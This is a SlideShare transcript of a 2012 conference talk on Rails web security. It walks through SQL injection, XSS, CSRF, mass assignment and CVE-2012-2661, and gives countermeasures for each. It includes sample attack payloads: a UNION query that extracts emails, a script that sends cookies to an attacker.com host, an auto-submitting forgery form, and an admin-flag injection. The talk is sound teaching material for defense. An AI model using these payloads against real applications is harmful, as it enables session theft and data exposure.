SlideShare a Scribd company logo
WEB APPLICATION
SECURITY IN RAILS
                  Uri Nativ
          RailsIsrael 2012
Uri Nativ
           @unativ

Head of Engineering
     Klarna Tel Aviv

         #railsisrael
Buy Now, Pay Later

1.  Shop online
2.  Receive your goods
3.  Pay
Alice
Bob
Alice and Bob
Alice and Bob
Alice and Bob


                Like Duh?
Alice and Bob

     <html>
      <title>             #$@#
         MicroBlogging   %#@&*#$
      </title>
      ...
Alice and Bob


                Hack it!
SQL INJECTION
SQL Injection

@results = Micropost.where(
 "content LIKE '%#{params[:query]%’”).all

SELECT 'microposts'.*
 FROM 'microposts’
 WHERE (content LIKE ’%SEARCHSTRING%’)
SQL Injection

SELECT 'microposts'.*
 FROM 'microposts'
 WHERE (content LIKE '%SEARCHSTRING%')



                XXX')
                UNION
                SELECT 1, email, 1, 1, 1
                FROM users --
SQL Injection

SELECT    'microposts'.*
 FROM     'microposts'
 WHERE    (content LIKE '%XXX')
UNION
 SELECT   1, email, 1, 1, 1
 FROM     users -- %')
SQL Injection

SELECT    'microposts'.*
 FROM     'microposts'
 WHERE    (content LIKE '%XXX')
UNION
 SELECT   1, email, 1, 1, 1
 FROM     users -- %')
SQL Injection - countermeasures

@results = Micropost.where(
   "content LIKE ?’, "%#{params[:query]}%”)
).all
CROSS SITE   XSS

SCRIPTING
XSS

<span class="content">
   <%= raw feed_item.content %>
</span>
XSS

<script>
  document.write('<img src=
      "http://www.attacker.com/x.png?' +
      document.cookie + ’”
  >');
</script>
XSS - countermeasures

<span class="content">
  <%= sanitize feed_item.content,
       :tags => ['a’]
  %>
</span>
XSS
The Attack:
    Execute arbitrary code / defacement
    JSON is not escaped by default
    CSS can be injected as well

Countermeasures:
   Never trust data from the users
   Use Markdown (e.g. Redcarpet gem)
CROSS     CSRF

SITE
REQUEST
FORGERY
CSRF
www.blog.com
	




 1
CSRF
www.blog.com         www.freeiPad.com
	
                     <form name=“evilform”
                         action=“www.blog.com/….”>
                         …
                     <script>
                         document.evilform.submit()
                     </script>

                                2
           Click
          here for
         free iPad
CSRF
www.blog.com       www.freeiPad.com
	
                   <form name=“evilform”
                       action=“www.blog.com/….”>
                       …
                   <script>
                       document.evilform.submit()
               3   </script>
CSRF
www.blog.com           www.freeiPad.com
	
  POST /blogpost       <form name=“evilform”
  Content=“Kick Me!”       action=“www.blog.com/….”>
                           …
                       <script>
                           document.evilform.submit()
         4             </script>
CSRF – Authenticity Token

<input
   name ="authenticity_token”
   type ="hidden”
   value ="vyFdEgofzU4oSJJn5wypxq4“
/>
CSRF

routes.rb

match '/delete_post/:id',
   to: 'microposts#destroy'
CSRF

class ApplicationController <
        ActionController::Base

  # commented to easily test forms
  # protect_from_forgery
  ...
end
CSRF
The Attack:
    Attacker send requests on the victim’s behalf
    Doesn’t depend on XSS
    Attacked doesn’t need to be logged-in

Countermeasures:
   Use Rails CSRF default protection (do not override it)
   Use GET for queries
   Use POST/DELETE/… when updating data
   Add Sign-out link
RAILS SPECIFIC
ATTACKS
MASS         boo[gotcha!]

ASSIGNMENT
Mass Assignment

def create
  @user = User.new(params[:user])

  ...
end
Mass Assignment

def create
  @user = User.new(params[:user])

  ...
end

                  { :name => “gotcha”,
                    :admin => true }
Mass Assignment - countermeasures

Blacklist

class User < ActiveRecord::Base
   attr_protected :admin
   ...

end
Mass Assignment - countermeasures

Whitelist

class User < ActiveRecord::Base
   attr_accessible
       :name,
       :email,
       :password,
       :password_confirmation
   ...
Mass Assignment - countermeasures

Global Config (whitelist)

config.active_record.
    whitelist_attributes = true
Mass Assignment
The Attack:
    Unprotected by default :(

Countermeasures:
   Whitelist
   Blacklist
   Strong Parameters (whitelist)
       Rails 4
       Logic moved to the controller
       Available as a Gem
SQL INJECTION
VULNERABILITY IN
RUBY ON RAILS
(CVE-2012-2661)
CVE-2012-2661 SQL Injection

User.where(
     :id          => params[:user_id],
     :reset_token => params[:token]
)

SELECT   users.*
 FROM    users
 WHERE   users.id = 6
 AND     users.reset_token = ’XYZ'
 LIMIT   1
CVE-2012-2661 SQL Injection

/users/6/password/edit?token[]

SELECT users.*
  FROM users
  WHERE users.id = 6
  AND users.reset_token IS NULL
  LIMIT 1
CVE-2012-2661 SQL Injection
The Attack:
    SQL Injection - Affected version: Rails < 3.2.4


Countermeasures:
   Upgrade to Rails 3.2.4 or higher
Brakeman

-------------------------------------------------
| Warning Type                      | Total |
-------------------------------------------------
| Cross Site Scripting              |2         |
| Cross-Site Request Forgery | 1               |
| Denial of Service                 |1         |
| Redirect                          |1         |
| SQL Injection                     |4         |
-------------------------------------------------
CONCLUSIONS
Make Love not War
Conclusions
Know the threats – OWASP top 10

Follow Rails conventions

Ruby on Rails Security Guide
    http://guides.rubyonrails.org/security.html


The Ruby on Rails security project
    http://www.rorsecurity.info


Rails security mailing list:
    http://groups.google.com/group/rubyonrails-security
Thanks to…
Daniel Amselem for pair programming



Irit Shainzinger for the cool graphics



Michael Hartl for his microblogging app tutorial
Pay Online – Safer and Simpler




https://github.com/unativ/sample_app

More Related Content

PDF
XSS And SQL Injection Vulnerabilities
PDF
When Ajax Attacks! Web application security fundamentals
PPTX
Make profit with UI-Redressing attacks.
PDF
Sql Injection and XSS
PDF
XSS Defeating Concept - Part 2
PDF
S3解説 - 第1回 ビギナー編 AWS User Group - Japan 東京勉強会
PDF
In graph we trust: Microservices, GraphQL and security challenges
PDF
JavaOne2016 #CON5929 Time-Saving Tips and Tricks for Building Quality Java Ap...
XSS And SQL Injection Vulnerabilities
When Ajax Attacks! Web application security fundamentals
Make profit with UI-Redressing attacks.
Sql Injection and XSS
XSS Defeating Concept - Part 2
S3解説 - 第1回 ビギナー編 AWS User Group - Japan 東京勉強会
In graph we trust: Microservices, GraphQL and security challenges
JavaOne2016 #CON5929 Time-Saving Tips and Tricks for Building Quality Java Ap...

What's hot (20)

PDF
Memcache Injection (Hacktrick'15)
PPTX
WordPress Security 101 for developers
PPTX
Hacking 101 (Session 2)
PPTX
SQL Injection Defense in Python
PDF
Introduction to Retrofit
PDF
Cross Site Scripting Going Beyond the Alert Box
PDF
PDF
스프링 시큐리티로 시작하는 웹 어플리케이션 보안
PPTX
Hacking WebApps for fun and profit : how to approach a target?
PDF
What should I do when my website got hack?
PPTX
VodQA3_PenetrationTesting_AmitDhakkad
PPTX
Hacking 101 (Henallux, Owasp Top 10, WebGoat, Live Demo)
PPTX
Cross Site Scripting ( XSS)
PPTX
Click jacking
PPT
Top Ten Web Application Defenses v12
PDF
스프링 시큐리티로 시작하는 웹 어플리케이션 보안 _강사준비 스터디 버전
PPTX
How did i steal your database
PPT
How To Detect Xss
PPT
Sql Injection Attacks Siddhesh
PPTX
Test automation
Memcache Injection (Hacktrick'15)
WordPress Security 101 for developers
Hacking 101 (Session 2)
SQL Injection Defense in Python
Introduction to Retrofit
Cross Site Scripting Going Beyond the Alert Box
스프링 시큐리티로 시작하는 웹 어플리케이션 보안
Hacking WebApps for fun and profit : how to approach a target?
What should I do when my website got hack?
VodQA3_PenetrationTesting_AmitDhakkad
Hacking 101 (Henallux, Owasp Top 10, WebGoat, Live Demo)
Cross Site Scripting ( XSS)
Click jacking
Top Ten Web Application Defenses v12
스프링 시큐리티로 시작하는 웹 어플리케이션 보안 _강사준비 스터디 버전
How did i steal your database
How To Detect Xss
Sql Injection Attacks Siddhesh
Test automation
Ad

Viewers also liked (11)

PPTX
Stop Optimizing Start Simplifying
PPTX
Using scrum values to building engineering culture
PDF
The Missing (Agile) Lecture
PDF
Pair Programming at Klarna Tel Aviv
PPTX
QA without QA
PPTX
Where is the CEO Office?
PDF
Agile - What? Why? How?
PPTX
Building an Awesome Engineering Culture
PDF
5 Slides Design Tips
PDF
Dodging Bullets
PDF
Codeware
Stop Optimizing Start Simplifying
Using scrum values to building engineering culture
The Missing (Agile) Lecture
Pair Programming at Klarna Tel Aviv
QA without QA
Where is the CEO Office?
Agile - What? Why? How?
Building an Awesome Engineering Culture
5 Slides Design Tips
Dodging Bullets
Codeware
Ad

Similar to Web Application Security in Rails (20)

PDF
&lt;x> Rails Web App Security Title
PPTX
ASP.NET Web Security
PDF
The top 10 security issues in web applications
PDF
Application Security around OWASP Top 10
PDF
Evolution Of Web Security
PDF
Applications secure by default
PDF
Applications secure by default
PPT
Securing Java EE Web Apps
PDF
Drupal campleuven: Secure Drupal Development
PDF
PHP Secure Programming
PDF
Pawel Cygal - SQL Injection and XSS - Basics (Quality Questions Conference)
PPT
Php & Web Security - PHPXperts 2009
PDF
Application Security from the Inside - OWASP
KEY
Cross Site Scripting - Mozilla Security Learning Center
PDF
Web Security - OWASP - SQL injection & Cross Site Scripting XSS
PDF
They Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
PPTX
PCI Security Requirements - secure coding
PPT
PHPUG Presentation
PDF
Java EE Web Security By Example: Frank Kim
KEY
Brakeman
&lt;x> Rails Web App Security Title
ASP.NET Web Security
The top 10 security issues in web applications
Application Security around OWASP Top 10
Evolution Of Web Security
Applications secure by default
Applications secure by default
Securing Java EE Web Apps
Drupal campleuven: Secure Drupal Development
PHP Secure Programming
Pawel Cygal - SQL Injection and XSS - Basics (Quality Questions Conference)
Php & Web Security - PHPXperts 2009
Application Security from the Inside - OWASP
Cross Site Scripting - Mozilla Security Learning Center
Web Security - OWASP - SQL injection & Cross Site Scripting XSS
They Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
PCI Security Requirements - secure coding
PHPUG Presentation
Java EE Web Security By Example: Frank Kim
Brakeman

Recently uploaded (20)

PDF
Bridging biosciences and deep learning for revolutionary discoveries: a compr...
PDF
CIFDAQ's Market Insight: SEC Turns Pro Crypto
PDF
TokAI - TikTok AI Agent : The First AI Application That Analyzes 10,000+ Vira...
PDF
Network Security Unit 5.pdf for BCA BBA.
PDF
Modernizing your data center with Dell and AMD
PDF
Encapsulation_ Review paper, used for researhc scholars
PDF
Reach Out and Touch Someone: Haptics and Empathic Computing
PPTX
Understanding_Digital_Forensics_Presentation.pptx
PDF
Per capita expenditure prediction using model stacking based on satellite ima...
PPT
“AI and Expert System Decision Support & Business Intelligence Systems”
PDF
Mobile App Security Testing_ A Comprehensive Guide.pdf
PDF
How UI/UX Design Impacts User Retention in Mobile Apps.pdf
PDF
Building Integrated photovoltaic BIPV_UPV.pdf
PDF
Peak of Data & AI Encore- AI for Metadata and Smarter Workflows
PPTX
KOM of Painting work and Equipment Insulation REV00 update 25-dec.pptx
PPTX
PA Analog/Digital System: The Backbone of Modern Surveillance and Communication
PPTX
A Presentation on Artificial Intelligence
PDF
KodekX | Application Modernization Development
PPTX
Big Data Technologies - Introduction.pptx
PPTX
VMware vSphere Foundation How to Sell Presentation-Ver1.4-2-14-2024.pptx
Bridging biosciences and deep learning for revolutionary discoveries: a compr...
CIFDAQ's Market Insight: SEC Turns Pro Crypto
TokAI - TikTok AI Agent : The First AI Application That Analyzes 10,000+ Vira...
Network Security Unit 5.pdf for BCA BBA.
Modernizing your data center with Dell and AMD
Encapsulation_ Review paper, used for researhc scholars
Reach Out and Touch Someone: Haptics and Empathic Computing
Understanding_Digital_Forensics_Presentation.pptx
Per capita expenditure prediction using model stacking based on satellite ima...
“AI and Expert System Decision Support & Business Intelligence Systems”
Mobile App Security Testing_ A Comprehensive Guide.pdf
How UI/UX Design Impacts User Retention in Mobile Apps.pdf
Building Integrated photovoltaic BIPV_UPV.pdf
Peak of Data & AI Encore- AI for Metadata and Smarter Workflows
KOM of Painting work and Equipment Insulation REV00 update 25-dec.pptx
PA Analog/Digital System: The Backbone of Modern Surveillance and Communication
A Presentation on Artificial Intelligence
KodekX | Application Modernization Development
Big Data Technologies - Introduction.pptx
VMware vSphere Foundation How to Sell Presentation-Ver1.4-2-14-2024.pptx

Web Application Security in Rails

Editor's Notes

  • #20: Can do defacement as well
  • #43: Was also found at ThoughtBot clearance – Rails authentication gem